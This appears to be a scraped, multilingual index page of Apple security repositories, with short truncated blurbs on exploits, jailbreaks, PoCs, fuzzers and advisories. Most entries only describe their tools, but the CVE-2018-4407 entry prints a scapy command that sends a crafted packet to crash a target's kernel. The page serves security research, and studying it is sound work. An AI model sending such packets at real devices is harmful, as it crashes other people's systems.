extra_recipe-iOS-10.2

extrarecipe-iOS-10.2 CVE-2017-2370 代码与利用工具由 ianbeer https://bugs.chromium.org/p/project-zero/issues/detail?id=1004 已修复 https://support.apple.com/en-us/HT207482...

CVE-2025

CVE-2025-43300：iOS/macOS DNG 图像处理内存损坏 概述 CVE-2025-43300 是 Apple 图像处理框架中的一个严重内存损坏漏洞，影响 iOS 18.6.1 及 macOS 系统。该漏洞存在于 RawCamera.bundle 内的 JPEG 无损解压缩代码中，由 DNG 文件中 TIFF 元数据与 JPEG 流参数不一致触发。 漏洞详情 根本原因 漏洞源于 DNG（Digital Negative）文件中的元数据/流不一致： 1. SamplesPerPixel 元数据（TIFF 头中）指示预期的颜色分量数 2. SOF3 分量数 （JPEG...

Fix-Apple-Mail-CVE-2020-9922

Fix-Apple-Mail-CVE-2020-9922 Apple Mail has a scary zero-click vulnerability. Versions of OS X prior to High Sierra were not patched. https://mikko-kenttala.medium.com/zero-click-vulnerability-in-apples-macos-mail-59e0c14b106c I made this quickly and only tested it on Mavericks. I don't see any...

Apple-Safari-Remote-Code-Execution-CVE-2020-27930

此存储库没有 README。...

weightBufs

WeightBufs: WeightBufs es un exploit de lectura/escritura del kernel para todos los dispositivos Apple con soporte de Neural Engine. Errores y exploit por @simo36; puedes leer mis diapositivas de la presentación en POC para más detalles sobre las vulnerabilidades y las técnicas de explotación. El...

palera1n

palera1n Jailbreak para dispositivos A8 hasta A11, T2, en iOS/iPadOS/tvOS 15.0, bridgeOS 5.0 y versiones superiores. --- Una captura de pantalla de palera1n usándose en una Terminal Soporte de dispositivos Ten en cuenta que en A11 iPhone X, 8, 8 Plus, debes desactivar tu código de acceso mientras...

hyperpom

HYPERPOM Biblioteca de fuzzing para AArch64 basada en el hipervisor de Apple Silicon Tabla de contenidos Aviso legal Primeros pasos Requisitos previos Binarios autofirmados y entitlement del hipervisor Flujo de compilación Documentación Ejemplos Ejecutar los tests...

Presentations

Presentaciones 2025 CodeBlue 2025 - 18 al 19 de noviembre de 2025 Explotación acelerada con IA: comprometiendo el Pixel habilitado para MTE desde el coprocesador DSP por PAN Zhenpeng y Billy JHENG Bing Jhong Bailando con el coprocesador Exynos: hackeando Samsung por diversión y “beneficio” por...

vphone-cli

🇰🇷한국어 | 🇯🇵日本語 | 🇨🇳中文 | 🇬🇧English vphone-cli Boot a virtual iPhone via Apple's Virtualization.framework using PCC research VM infrastructure. Prerequisites Host: Apple Silicon macOS 15+ Sequoia Xcode + iOS SDK cross-compiles the guest daemon SIP/AMFI relaxation to allow private PV=3 entitlements...

Apple-Platform-Security-Guides

Guías de seguridad de las plataformas Apple Todas las guías de seguridad de las plataformas Apple Guías de seguridad de iOS anteriores y libros blancos de OS X/macOS anteriores Historial oficial de revisiones del documento de Apple...

aeota

aeota Descifrado de AEA OTA/IPSW Prerequisites getkey.py Python 3.10+ podría funcionar con versiones anteriores, pero no probado requests pyhpke aastuff macOS 13+ macOS 14+ para soporte HPKE aastuffstandalone macOS 12+ macOS 14+ para soporte HPKE Building and Installing getkey.py root@kitploit:...

kfd

Quick disclaimer: I have no intention of adding offsets for other devices and iOS versions. kfd kfd, short for kernel file descriptor, is a project to read and write kernel memory on Apple devices. It leverages various vulnerabilities that can be exploited to obtain dangling PTEs, which will be...

EUVD-2026-66331

An insecure PIN derivation mechanism in ABR allows a low-privileged user to escalate privileges to administrator by communicating over Cross-Process Communication XPC while masquerading as an Apple-signed process...

ios-gamed-0day

Exploit de gamed en iOS corregido en 15.0.2 Actualización: Apple ha corregido esto silenciosamente en iOS 15.0.2 sin ningún tipo de reconocimiento o crédito público. Cualquier aplicación instalada desde App Store puede acceder a los siguientes datos sin que el usuario reciba ningún aviso: Correo...

CVE-2025-43537

CVE-2025-43537 Apple 安全致谢 研究人员： Al Sadman Awal 已获得 Apple 产品安全团队对 CVE-2025-43537 负责任披露的正式致谢。 概述 CVE-2025-43537 是一项在独立安全研究中发现并负责任地向 Apple 披露的安全漏洞。 Apple 调查了该报告，实施了安全修复，分配了 CVE-2025-43537，并在其官方安全公告中公开致谢该贡献。 本仓库记录了与该漏洞相关的公开披露、厂商致谢和公告信息。 漏洞信息 字段| 值 ---|--- CVE ID| CVE-2025-43537 厂商| Apple 研究人员| Al...

USBusted

USBusted Research on Apple's USB protocols CVE 2019-8718 Minimal Poc written in c and python on top of libusb...

CVE-2026-28858

⚠️ CVE-2026-28858 — Buffer Overflow in Apple iOS/iPadOS root@kitploit: ╔══════════════════════════════════════════════════════════════╗ ║ SEVERITY: CRITICAL │ CVSS: 9.8 │ CWE-120 │ REMOTE ║ ╚══════════════════════════════════════════════════════════════╝ A remote user can cause unexpected system...

CTT-Apple-Silicon-Refraction

CTT-Apple-Silicon-Refraction webkitrefraction.js The 33-Layer WebGL Payload ​这个JavaScript有效载荷使用 \alpha 常量来创建一个高频的"Memory Shiver"。它通过在WebKit垃圾回收器与GPU的Metal命令缓冲区之间制造不同步，触发CVE-2025-43529中的Use-After-Free（UAF）漏洞。 🍎 CTT-Apple-Silicon-Refraction WebKit/ANGLE 零日 "标签保护地址；CTT控制时间。" CVE-ID: CVE-2025-14174...

check_icmp_dos

checkicmpdos iOS 12 / OS X Remote Kernel Heap Overflow CVE-2018-4407 POC： root@kitploit: pip install scapy sudo scapy sendIPdst=“Target IP“,options=IPOption“A”8/TCPdport=2323,options=19, “1"18,19, “2”18 或使用脚本 root@kitploit: python checkicmpdos.py 127.0.0.1...

cve-2026-64725-poc

¿Qué hay en el repositorio? Un PoC para CVE-2026-64725. Consulta el código fuente y la entrada del blog para más detalles. ¿Cómo reproducirlo? Plataformas Probado en macOS 26.4.1 build 25E253; Darwin 25.4.0 xnu-12377.101.151; Apple Silicon T8103 / M1. Apple confirma que macOS/iOS/iPadOS 26.6 son...